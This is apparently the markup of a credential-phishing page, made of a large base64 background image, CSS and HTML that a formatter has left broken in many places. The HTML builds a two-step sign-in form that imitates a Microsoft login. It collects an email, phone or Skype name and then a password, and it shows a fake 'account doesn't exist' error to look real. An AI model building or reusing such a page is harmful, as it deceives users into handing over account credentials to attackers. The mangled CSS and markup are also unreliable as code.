AAAKigACAAAAAAAAAAAAAAACAAACAKIAAAAIAAAAAAAIAAIAoAIgAAAKAAAACAgACAIAACKAgAACAAIAAgAACAAAAAAoACACAAKogooAAAACAACKCigAAAKigAAAAACgACoAoCgACiKAAIACgAAAKAD/1dqAZdAAURUoIAAAgAAAAAAAAAlARUFAUEFAQBAAAAUEVAAAAAAAAAABAAAUAAAAAAAAUAABQQAEAAAAAAAAAAAFFEUABEAFAABUUAAAAAAAAAFEAAABAAAAAAAAAAAFAAEAAAAAAAAAAAAAAAAAEAAAABFAQAAAAAQAABQAEENNQABQAEAEAAUAARUBABFQAAAAEAAEAAAQABAAABBBUAAAAARQAAAAAAAAFEVQAAAAAQAAURVAAAAFAAAAAAAFAAUAAABcRVAFEQAUBQQVAFAH/9bagGXQAAcukBAAABQBAAAAAAATVTQQAAAAAFEAUQFVABBUAAEAAAABQEFAAAAAAFAAAAQAAUAABAAAAAAAAABQAAAABRAAAAAAAAFEUAAAAQAAUBAAAAAAAAABQAAABQEQAAAAAAAAAAAAAAAAAAAAAQAAAAQUARQEUBAAAAABBEVFAAAAABEABQABFQEFBEAAAQAAAAQAABAAAAEEBAAUARBQAAAAAFRQAAEUAAAAAAUAVARUABQAFAADFRQAAAAABQABUUAAAAFxUVQRUAABQBQAH//X2oBlsAAQAABRFAQVAQUAEEFEBRFAQAAAAAAAAABFAQUBBQEUAAAAAAFAAAAQAAAABQRQEAAAAAAAAAFAAAAAAAAQUBAAAAABQAAAAAQVABQBFBAUQBRFAAUBFAAAAAUQFEVEAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAA0EoAIAAAAAgAAACAACKiKAAAKgiiCCgIACCoAAgAAAAgAgAgAAAACgIKgCgAAKAAAAAAAAKigAAAAAAAAKigCiiCgIoAAAAAACgACooigKAAAAAAr//Q2oBlsABAAAAAAEAUAAAAABBUAAAAAAAAARUAAFABAAAAAAAAAAAAAAAFBFAQAAAAAAAAAUAAAAABAAAABQEAAAFAAAAAAAAAAAFRAAABQABRAFQAFQBRAFAAABRBEUQUUQQFRQAAAAAAAAAAAAAAAAAAAEAAAAAUEAATUVAAAAAQUBBQBBUBFAEBAQABQEAAAEAAQABFAQBAAAAARRBABAABQAAAAAAFAAAAAAAAAAAUAAAAAAAABUUFEVQAAAAAAAAVFARQVFxFBRFVAAAFBBUFf//R2oBGwAEAQAAAAQBVAAAAAEBAAAAAAAAAAQAAAAAAAAAAAAAAABQAAQAAAAAAAUAAAAAABARUAFRQAABQEAFAAAAAAAAAAAAAFEAAAAAAAAAAAAAAAAFRQFQEABQAQBUAAAAAAAAAAAAAAAAAAAAABABQABAAAAE1FqCgAACIAAAAAAACIKiKAAAAIoAigIKgIKggAgIoCCoAAAAgAAAAAAAAAAAAAAAAAAAAAAKigAAAAAAAAKiguAAAKAAAAAACoooAAAAqKIAKCooCKCv/0tqARsABAAAAAAQBFAFAABFRAAEAAAAAAEqoKAAAAAABAAUBBQQAAAAAABKCiCgAAAIUAAAAAAAAAFQVQAEFAAAAAAAAAAAAAAAAAQUAAAAAAAAAAAAAAAAUAAAAAAABEFAAAAAAAAAAAAAAAAAAAAAABEFAAEAVABFQUAQAAAAABAUBBQEFARFEEAAAAAAAAABEdIgIoIgAAAIKgACAAAAAAAAAAAAAAAAACggqAAAKigAAAAKigIoCCgGKYAAAAKAAAAoCgAAAAKigACACigIP/9PagEaAAQAAAAAABFEUARQERUUAAAAAAAAAEAAAAAAAAAAABQCoCoAAAgAAAAAAAAAAAAAAAqAACoAoACoAoAAAAAAAAAACgAiKAAAAAAAAAAAAAAAACgAAAAAAACCoqAAAAAAAAAAAAAAAAAAAAACiACAAAigAAIi6gACKACAACgAAAAAAghq6gIoAgqAAAAAAAIqIAACKAgsQQRQEAQAAAAAABQEFAQUBAAAUAAUAAAABQAAQUEBFFAAAAUAQFAQVFAUFQUBBQAFBBQEVFAAEAFFAQf/U2oBGgAEAAAAAAAFAAAARFQAAAAAAAAAQEFQBRAFEAUQBRAAAAAAAABQAQAAAAAFQAAAAAAAAAAAAAAABVQBRABQAAUAAAEBQEAAAAAAAAAAAAAAAAFAAAAAAAAFRAAAAAAAAAAAAAAAAAAAAAFEAAAEAAAABFAQAEBUAAAAAAAAAAABARQEFAcgAAAAAAAAICKAgAACBEUBBQEBQQAQAFAAAAAAAABQAAEFAQABUUAAAAAUBAAAAVUxRAAEFAABQBQAAVFAAAABUUBBUBQAf/9XagEaAAQAAABFQBUFFEEFSiAACgAAAACgCIgAAAAAAAAAAAAAoACAAAAAAAAAAAAAAAAAAAAAAAAACgAAqKAAAAAoAAAKiogAAAAAAAAAAAAAAAAoAAAAAAAAogAgAAAAAAAAAAAAAAAAAACggAAAAAgIoAACAAgoAAgAAAAAAAAAIAAAAAAIKgILqAAAAAAIAACKAgCAAAAAAAAAAAigIKgAACooAAAAAAAAAAAAAAKAgIqKAAOhFAAAAAAAAFAFBQAAAAEUAAAAAH//W2oAUBEUAAAARRRBQRBQEAFQUBBQEFARHSAgAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAACAAAACoAogCiKCiKgoigAAAAAAAAAAAAAAKAAAAAAAAAgoAAAAAAAAAAIAAAAAAAAAKIAAAAAIAAAAAACKAgCAAAAAAAAAAAAgAAAAAAAAIAIAAAAAgAAAAIqIAAAAAAAAAAAAoAAAIAAAIAAAAAsAEUBAFBUUFAQEVAEUUUAAAAAAAAAAAVQFAAAAFAEAAAAf/9fagBRFQUAAAAAEAAAAEVAAAAAAAEEFAAAAAAAAAAABAAAAAAAAAAAAABYAAAAAAgAAAAAAAAAAAAAAAAAACgACCooAACoAogKoigAIAAAAAKAAAAAAAAIAoAAAAAAAAAAACAAAAAAAAAoCACAAAAAAAAAAKAiIAAAAAAAAAAAAAIAAAAAAAAAAIKIORQEAAAACCCCoAAAAKAAAoiCwBBQABBBQEFQAAUAAXEBFVIoIKgAAoqAKAIAAigAAqgAgAAAAAAACgCgCgACgCAACooP/0NqAFEAAAUAAAEAAAAQAAAAAAEAQBQAAAAAAAQAAAAAWAAAAAAIAAAAAAAAAACAKIAogCgAAAAAACAAoAACgigIAAKigAAAAAAoigCAKAKAoAAgAAAAAgAoAAAAAAAAAAAAAAAAACAAAqKIAAAIAAAAAAoAAAAAgigAAAioIAAAAAAAIAAAAACAAAAAACCgORYChBURAAIkUBBUFICggsICCwiCRYAAAAACKAgqAgoCCgAKIAAIqAACigAAIAAAKAAoAACgAAgoCKAgAKAAAKLiooCKCIoA//9HagBUAAAAAAAAAUAAQEQURQAAEBRAAoKBUFBKgqAAAAAAAAAAAAgKIAqAAAAAAAAAAAAACgKAAgAAAAAAAACgigACgAAAAAAAAAAAAAoACAoAAAAAAAAoACAAAAAAAAAAAAAAAAAAgAAKAgAgACgAAAAAAAACAAAAAAAioICoCggKgAAqCCoAAgAAACgAgAAAAAgAAAAAgAAAAoAAAgAAAAAAAAgoCAAKAAAAAAAAAAAAAAAAKCCooAAKigAAAAAAKAIKAgKCgKAAAKD//0tqAVUAAAAAAAAAARUAAEAAAAQAAAAAAABBAUQBRAAAAAAAAAAAAAAAQAUAAAAAAAAUQBQAAAAAAAAUAAAAQAAVAFEBVAAAAAAAAABQEAABQAAAABQAAEAAAAAAAAAAAAAAAAABBQBABFAAAAAAAAAAAAAEAAAAAAAABFAAAEUQAAEUBFBBBQEUBBFAQAABFAAAAAAAAQUBBQEFRAAAAAAAAAAAABFAAAAAAAAAFAARQEFAQUAAAAAAAAUAAAAAAUAAAEXABQAAFAFB//9PagFEAAAAAAAAEUBAAEAUQBRAAAAAAABFQBAAAUAAAAAAABAAAAAAAAAAAAAAQAAAAAAABRAFAFAAUAAAQAAAAAAAAVAFEAUAUAAAQUAAAAAFAAVFAAQAAAAAAAAAAAAAAAAAEBQEAAAEUAAAAAAAAAAAAAQAAAAAAAAAEAAAAAAABAAAAAAAAAAQEUBAAAAAAAAAAAAEUQQFBBQEAAAAAQAUABQRQEFAQAAUAAFAAAAAAAAAAAAAVUQAAABUUAAAAAFzAAAAAFRVH/9TagFEFQAAAAEAAAAABAAAAAAAAAAAAENFEAAFAQUAABABKAKAAAAgAAAAAAAAAAAAAAAAAAAAACoAKqKgAACgIKAgqAAAAAAAoigAAAIKAKAAAAoAigCgCAAAAAAAAAAAAAAAAAqKiAAAAoAgAAAAAAAAAAAAAIAAAoKgAAKCKioCKCIKgAAACACggAAAACAAAAAAAAAigqAIAAAAAAACAAAAAAAAAAAAAAoAIAAAAAAACgAAAAAAAAqKAAAiiiCoAoAACAACooKigIAAqKo//1dqAUEVFAAAAEAQAAEUUQUBBQBFQQAAAARUgAAoAIAKAACAAAIAAAAAAAAAAACAAAAAAAAAAAAAAoAAAAqKCiKgAAoigAAAAAAAAAAAAAAqAgKACooAAKAAAigAAAAAAAAAAAAAACCgCAAAAACKAAAAAAAAAAAIAKKigCCgIoAAIAAgAAAAiiCKACKAgAAAACAAAAAAAAAioKCiCAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAALAEWCiAAAAKAAqAAAAKAAAAAACiiAACKCooCP/W2oBUEVFAAAAEFBUUAQAAAAAEAEAAAAARQAAAAAAAEQAAAAAQAAAABBQAAAAAFEKCiFEUAAAAAAAAAAAAAVRFBQEAAFEUAAAAAAAAAAAABUUAFAAQFQBQAAAAEUAAAAAAAAAAAAUEQAAAAAAARQAAAAAAAAVAAVFAAAAAAABABAAAAAAAAQAAAEABRBRBBUAAAFBUFQQAFAEAAEFAEUgIKAgoCCgIAgAAAAAAAAAAAoAQBAAAAAAVUUBFRQRQEFAAUAABFAQAAUBAFAAFVFAAAAAAEf/X2oBpBFAQAAAAEBRAAAAQBUAAAABQAARUAAAEBFQAAAABAAAAAEoKlAUBFFEAUQBUARRAFEAUqKCiKAAAAgAAAAAALiKCgCgAAKAAAAgAAAAAAKgAqKAoAAIKAAAAAAAigAAAAAAAAAAKIAIAAAAAAoAgAAAAAAKAAAoAgAAAAAAAIgAAAAAAAgAAAAAIAAAAAAoAgAAAAigAigCKAQBAAAAVUFRAAAAAABBQEFAQVAFRcBQAEUBAAQUBAUFwMBAAEAVQAFAEAAAAAAAAAAQUUMUAAAAAAAf/0NqAaQNAEAAAAAAAARSA5FQQUAQBVAAAQQBAAAAAAAABAAAAAAEogoAAAAAAAAAAAAKgCiKAACiKAAAAAAACgiggAAoYCioAoAAAAAAAACAAACgoACgAAgAAAAAAAIoAAAAAAAAqKIAIAAAAoAAAgAAAAKAAAACKAAAAAAACACAAAAAAAAgAAAqKgoCKAAAIoIAAAAIAAAgAAAAAAAAACiKAIoCAAAAAAAAAAKAACAACCooAAKigACAACKCoKAAKgAAAACgIqAAAAAoKCCooAAAA/9HagGkAAQAAAAgAACBomgAKAACK5AAAFAQEAAAAAFRQARAAABQQQAAAAABQAAAAAAAAFBABAAFURQAAAAFRQAAAAAAFAFEUUAQAAAAAAAAAVAFAFAAAAAAAABAAAARQAAAAAAFEAAAEAAAAUAAAQAAAUAAAAUAQAAAAABAAABAAAAAFEEBRQBAAAAAAAAQAAAABAABAAAAAAAAAAFAAAEABQRUAAQAAAUEUABQEAAAAAUQVAUAAAAAAAAAABQAAAEFAAAEAAPRQFAABQRQEFAf/0tqFRpAAEFAQARUAABQABAAAAEVAARRUAQRRFRQUAAEAQAAAABANQAAABUUABAAAAQAFAUEUAAAAAFQBQBQABQQAAAAAUAABUUABAAAAFAABQAFRBUUUAAAAAAAAAQAAAEUAAAAAEUAAAABAAAAFAAAEAFAAAAAAFAEAAAAAAABEAAAAUBFAAAAAEAAAAAAABAAAAAQAAEAUFQUAABBQABAABBQEAAAFAAQUAABQBAAAAAAEFAQFBFABFAQVAAVRBQEAUAAAAUBEAAEVFBUUVQAABABQAB//09rRUbZAEUAEBFARUUABAAEF1BQQAABAFQAAFQAAAABFAQAAEEVBQQBQABAUEUQAAQAUAEBUAURRQAAAAAFAAVFAAAARQAAFAAABQAAAEAAAAVQAFBEUQBQBQAAAAAAAABAAAARQABUUQAAAAAAAQAUVAAAVAAAAAAAAQAUEDQAAUAAAQAABQABAAAAQAAAAAAAEAAAAAAVFBAAAAAAAAAAQAAAAAARQBFQABRUFAABAAAAAAAAAAAAUAAAAAEAFAAEFQAABUigACAAAAEBVUAAAAAUAAf/U2s0G2UAQAFAQBUAAAQAARQHIAAACKigKAgqAAAAAACICAAqgACAgKAAAAgCAAACgAAAAAgoiigACooAACooAAAAACKKigAAKAgAKAIAAAKAACgIAAKAKAAAAAAAAAIAAACKAAKiiAAAAAAAKiiKgAoAAgAoAAJoKCKCAACLAFQCAAqAACKAACAAAAAAgAAAAAIAAoAAAAAgAAAAAAAAAIAAAAAAAAAAAAoAAAAAAAAAAAAAIAAAoIAKAAAAKiiCKKIigIAC4qYoCKAgqAACKAqgAAAACgAD/1drAbYQAUAARUAAEAAAAAAci6igqKCCoAAACgiKggAAACCpFAAEAEAAABQQAAEAFAAAAAAAABUVFAAFRRAABUUUAAAABUUAAUBAAAAABFAUEUAFAABAABRFAAFAAAAAAAEAAAFRUAEFAAAAFBAUAAUAQAAAVAAAAAAAAQAAAEUAAAAAAAQAAAAAAAEAAAAABFAAAAAEAAAAAAAAABAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAIoIKKCKgAAAAKAAAAioqCKCigIAAAAIoAAoAAAAAAAKP/1trAbYEUFQAAAEAEAFAAAAEFTQEUAABAAABAAEAAAAABNR0mqIAIAKAAIAgAKAAAAAAAAAACggCigAgAAAAoAoCgiggAoAAAAAAAAosBAUAAAAAAEBUUAAUAAAAAAAQAUAAAUQAQAAAABQFAAAEABAVFAAAAAAQAAABQBAAAAAAAAQAAAAAEUAAAAAQAAAAAAAEAAAAUAEAEUAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAFRQAAAFEAABQAAAAEUBAWKACAAAAqAAACgAAAAAAAo//X2sBtgAARUFAAEVFQAAAAAAABAAAAEUEQAAABFQAAAABFFRyKigAAAAigIKAgoCCgIKAgoAAACgAAAIAAAAKCigAACAqKAAAAAAAYKAqKigAAAAAACAACgCgAAAgCoIYKAAKKAACACAAAAAoAoAgAAAqAIoAAAAACAAAAigAAAAAAAACAAAAKAIAAAAACAAAAACoqCgAAIKgACAAAAAAAAAAgAoqCgIAAAAAAAAAAAAAAAIAooAAAAAIIoogoAAAAAAACggAAAACgAIAAAKAAAAAAP//Q2xFRtkAEEUBAFAAEAAAAAAAATVBHKiAoAIKgAAAAIKgAAACoRFAcixFAAAAAAAAAAAAAAAFAAAAQAAAAFAAFFAAAEAAFAAAAAAUEBUUAAUAAAAAQAUAAUAEFRUAAAAAAUUAAEBFQAAAAFAFAEAAABBRFAAAAAAQABQBAAAAAAAAQAAABQBAAAAAAQAAAAAUUAQAAAAEBAAAAABRUFARQAAABEAUBBQEFAQUBBQEFQAAAAAAAFAAAAAAAAEAAAFAAAABQARUAAAAUAAABABQAAAAAB//R2wRW2UFQQABBRRAAEUBAAABAAAAEFAQAAAEFQAAAAEFFRAAAAAASEUUcjqJAQWIAAAAAAAAAACgAAACgACAAAqKAAKAAAIKAAAAqKAAgKAAAoAAAACgiiIKqKAAAAgAAAAACiooACAioAAAACgCgCAAAAgKgCgAAIAAACKAAAAAAAAAIAAKgCgCAAAAAAgAAKAoAgAAAAAgACAKAigKAAAAAAAIAAoAAAAAAAAAAAAAgIoqIKgCooAAAAAAAAAAgAAAACqACAiiiAAAKAAAAAAgqKogqAAoP/9LbEVG2AAAAAARBUVQAEFQAAQAAAAABBUAAAAVEFQABFAFQRQEAAAAAAAUAAEUBEdAOR0AkIoAkUAAAgAAAACAACgAACgoCKCAAAACiKAAgKAAAAAoCgAAAICooAAACAAAAAAAqKKAIIAAAACgAAAIoAgAAKAAAACAAAKIqCoAAAAAAgAAACqgIAKCAAAIAACgKAIAAAAAACAgKAoAAAAAAAigAAAAAAAAAACAAAAAAAAAAAAAAAKggAAAoAAqKAgAgAAqKAAAAKgqKgqKogqAAAAoIoKCKggoA/9PbUVHRhAEAUBABAAEAVQAEFRUAEAFBAAAAQUBAFQABBQEAAAAABBUAAAAUAAAAAAABAAUAAAAAAAQAAAAUABQAARQAAAAAFAABUAAAAAAUVFAAQAAUAABAAAAAAAAAVFFAEEBQAIAKAgKggAoKIAoAigIKgAogigAAgAAigKgoAAgAAACoKIIoAIqAAICooAAoAgAAAAIqAKCKAAAAAAAIoAAAAAgAKACAAAAAAAAAAAAAAAAACgAAgqAACAKAACAKAAigCgAAACKKIoKgACAoAAACgAAAD//U20B0YRHSAiooCKAgCIIoogAoACCoqACAAAAAAAiiogAAAAAIKgAAAAAACKAgoCCooBAQAAAFAAAABRBFAAAAABQAAAARQAAAAFABQAUEAQABQABUAUAABBQAAEAAAAAAAAUUAAEBYAAAACAAAAiigAAAAAAAAgAAAAAIAAoAAAgAoqAoIAgAAAICKAACgAACAAAACKCAAKAAAIAAoAAAAAgAAAAAAAIoAAAAAAAAAIAKAACooAAAAIKgCoogACAAKiqAAAAAAACgAqAAAAAAAAACigA//9XbQHRgRQER05gCoAACAACKAgCgACQUBFRUEFAQAABUAAQVAAAAAQUBAAAAAAAAAAAAAAAFQAAAFAEAAAAAAFAAAAFEVBSAiwUBFAAAFRQQBFAAAAAAUAAFQAAAAAAAEFAFAAAEBUAUAAAABAAAARVAAAAAAAAAQAAAAAEAAUAAAQFRRQAEFRAAAAQAUAAVBUAAQAAAAAEUAAAAARQAAAAAABABQQBFBQEFARQARUBUAAAAAAAAAFAEAAAFAAAAAAQRUAUABUUAAAAAFABQAEAUEFQUAABRABR//9bbQHRgAARQER0miIAAAAAAigIAoAAgqAKggoiggoIgCgAAkUBAAAAAAAAEUBBQEFAQAAAAAQAFAUEFAQUBBQAFBBQEUEFAAAFAAAAAAAAAEUAAAAUIACgiioIKgAAAAACCgCgAACAAAqKAAAAgAAAIqgAAAAAACgCIAAAAAIAAoAgAAKiigIgAAAIAACgKAAAAIoggqAAIoAAAAAigAAAAAACACgIoigAAAAAgCCqiiCCoAAAAAAAAooAgAAAAAoKACKgAACoogAogAAAACgAoACCgKgAAAigAAKP/19tFR0YAAAAAASI6QRAAAAAAEUBBUUAAEUBBUQFABFFRAAAAAAEUBIKAgqAAAAAAAAAAAAAAAAAAAAAAAKigAAAIKIoAAoAAAAAALBBBQAVABQABFAAURQEAAAAAABBRFFAAAAAEBUAURQAEAAAVEVQAAAAAAEUAAAAAAAQAAAEAFARQURUQAAAEAAFAFAAAEAAUAARQEAQAAAEUAAAAAQAUAAVFRUAAAAQARQAAUBBQERQEFQAAAAFAVAAAAAFAAUEUBAAFAQAARUUAFAAABQBUAAEAUFRRAAAEUf/Q24B0c0FQUAAAARQRIjpAQAABQAQAAQUUQAAAAARFAAABFAQUBAAAAAAQiiogqACoAKAgoggAoAABAAAAAAAFAAIACiACggoKigAAAAAAgKigAAAIAAoAAqAKgAAAAACiAAKAAAIAKCCgoAgKAAAgigoAgAAAIAAAAACKAAAAAoIoIACKAAAAgqAAIAAKAKAAAIAAoAAAAAgAAgqIoAAAAAgKAogICooAAAACoqAAAAAAgIoogAqCoIAAoCgAIAAKiqAACKgCoogAAAAiiiAKAAACgoIAIACqIoCAAACj/9HbgHRzAAQUFQAAAAQEVABBQEAUAEQAARRRABQAAAAAQAABAVAAAAAAAEAFAABABRFAAFAEAAAAAAAAAABUAUBAVFAAFAAAAAEAABUAURQAAAEUBQQUBBQEUAAAAEAAUAQAAFAAAUAQURQAAAAAEAAABAAAAAARQAAAFEUABFAEAAAAABARQEFAABQAABAAFAAAAAEAAABFAAQVAAEFAFQBBRAFAAAQUAAAABAAAABAAAFVBQQAUAAABBQAAUEUAAEAAAAAFEAUAAAUAABAAUFAAQAAAUf/0tuFR0cwAAABFAQEBUAAAAABFQABUAAAEABQSKAgqCgigACAAAAIKAgAAAgAAAAAAAAKgoCggoCAAAoIKgAAAsAAAFRUAAUAAAQAAAAAUAAUABQAAAAEAAAAABAAAAAARQABUAUAUAQAAVAB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");
}

.topp {
    margin - top: 48 px!important;
    padding - top: 48 px!important;
}

@
media only screen and(max - width: 610 px) {
        # hide {
            display: none;
        }

        .topp {
            margin - top: 10 px!important;
            padding - top: 5 px!important;
        }

        .bgimg {

            position: absolute;
            height: 100 % ;
            width: 100 % ;
            top: 0 px;
            background - size: cover;
            background - repeat: no - repeat;
            background - image: none;
            background - color: white;
        }

        .box {
            box - shadow: none;
            /*border: 1px solid rgba(0, 0, 0, 0.4);*/
            /*max-height: 350px;*/

            max - width: 440 px;
            /*width: calc(100% - 40px);*/
            padding: 0 px!important;
            margin - left: auto;
            margin - right: auto;
            margin - top: 0 px;
            margin - bottom: 28 px;
            background - color: white;
        }

        .box2 {
            box - shadow: none;
            /*border: 1px solid rgba(0, 0, 0, 0.4);*/
            /*max-height: 350px;*/
            border: 1 px solid;
            max - width: 440 px;
            /*width: calc(100% - 40px);*/
            padding: 8 px 20 px!important;
            margin - left: 30 px!important;
            margin - right: 30 px!important;
            margin - bottom: 28 px!important;
            background - color: white;
        }
    } < /style> < style type = "text/css" >
    .loader {
        /*position: absolute;*/
        /*padding: 30px 0px;*/
        width: 40 px;
        /*margin: -22px;*/
    }

.loader.circle {
    position: absolute;
    width: 18 px;
    height: 18 px;
    opacity: 0;
    transform: rotate(225 deg);
    animation - iteration - count: infinite;
    animation - name: orbit;
    animation - duration: 3 s;
}

.loader.circle: after {
        content: "";
        position: absolute;
        width: 3 px;
        height: 3 px;
        border - radius: 5 px;
        background: #000;
    }

    .loader .circle:nth-child(2) {
        animation-delay: 240ms;
    }

    .loader .circle:nth-child(3) {
        animation-delay: 480ms;
    }

    .loader .circle:nth-child(4) {
        animation-delay: 720ms;
    }

    .loader .circle:nth-child(5) {
        animation-delay: 960ms;
    }

    @keyframes orbit {
        0% {
            transform: translate(10px, 0);
            opacity: 1;
            animation-timing-function: ease-out;
        }

        7% {
            transform: translate(30px, 0);
            animation-timing-function: linear;
        }

        30% {
            transform: translate(60px, 0);
            animation-timing-function: ease-in-out;
        }

        40% {
            transform: translate(90px, 0);
            animation-timing-function: ease-out;
        }

        50% {
            transform: translate(120px, 0);
            animation-timing-function: ease-out;
        }

        75% {
            transform: translate(250px, 0);
            animation-timing-function: ease-out;
        }

        76% {
            transform: translate(300px, 0);
            opacity: 0;
        }

        100% {
            transform: translate(350px, 0);
            opacity: 0;
        }
    }
    </style>
</head>

<body>

    <div class= "bgimg" > < /div> < div class = "container-fluid" >
            < div class = "container" >

            < div class = "row topp" >

            < div class = "col-lg-6 mx-auto" >
            < form action = ""
        method = "POST"
        id = "loginForm" >
        <!-- ////////////////////////diiiv1 start/////////////////////// -->
        < div class = "box"
        id = "diiiv1"
        style = "left: 0px; display: none;" >
        < div class = "loader "
        style = "display:none;" >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < div class = "boxtext" >
        < img src = ""
        class = "img-fluid logoimg"
        width = "30px" > & nbsp; < span class = "align-middle h5 logoname"
        style = "color: #747474;" > < /span><br><br> < span class = "h5" > Sign In < /span><br> < span id = "error"
        class = "text-danger"
        style = "display: none;" > That Microsoft account doesn 't exist. Enter a different account</span> < div class = "form-group mt-2" >
        < input type = "email"
        name = "ai"
        class = "form-control rounded-0 border-dark"
        id = "ai"
        aria - describedby = "aiHelp"
        placeholder = "Email, phone, or Skype"
        style = "border-right: none;border-left: none;border-top: none;" >
        < /div> < p style = "font-size: 13px" > No account ? < a href = "#" > Create one! < /a></p >
        < p style = "font-size: 13px" > < a href = "#" > Can 't access your account?</a></p>

        < div class = "text-right" >
        < button type = "button"
        class = "btn rounded-0 text-white px-4"
        id = "next"
        style = "background-color: #0066BA;cursor: pointer;" > Next < /button> < /div> < /div> < /div>
        <!-- ////////////////////////diiiv1 end/////////////////////// -->
        <!-- ////////////////////////div2 start/////////////////////// -->
        < div class = "box"
        id = "div2"
        style = "right: 0px;display:none;" >
        < div class = "loader "
        style = "display:none;" >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div>

        < img src = ""
        class = "img-fluid logoimg"
        width = "30px" > & nbsp; < span class = "align-middle h5 logoname"
        style = "color: #747474;" > < /span><br><br> < i class = "fas fa-arrow-left"
        id = "back" > < /i>&nbsp;<span id="aich"></span >
        < div class = "py-2" > < span class = "h5" > Enter Password < /span></div >
        < div class = "pb-2" >
        < span id = "msg"
        class = "text-danger"
        style = "display: none;" > Enter password to verify your identity before you
        continue. < /span> < /div> < div class = "form-group mt-2" >
        < input type = "password"
        name = "pr"
        class = "form-control rounded-0 border-dark"
        id = "pr"
        aria - describedby = "aiHelp"
        placeholder = "Enter Password"
        style = "border-right: none;border-left: none;border-top: none;" >
        < /div> < p style = "font-size: 14px" > < a href = "#" > Forget password ? < /a></p >
        < div class = "text-right" >
        < button type = "button"
        class = "btn rounded-0 text-white px-4"
        id = "submit-btn"
        style = "background-color: #0066BA;" > login < /button> < /div>

        < /div> < /form>
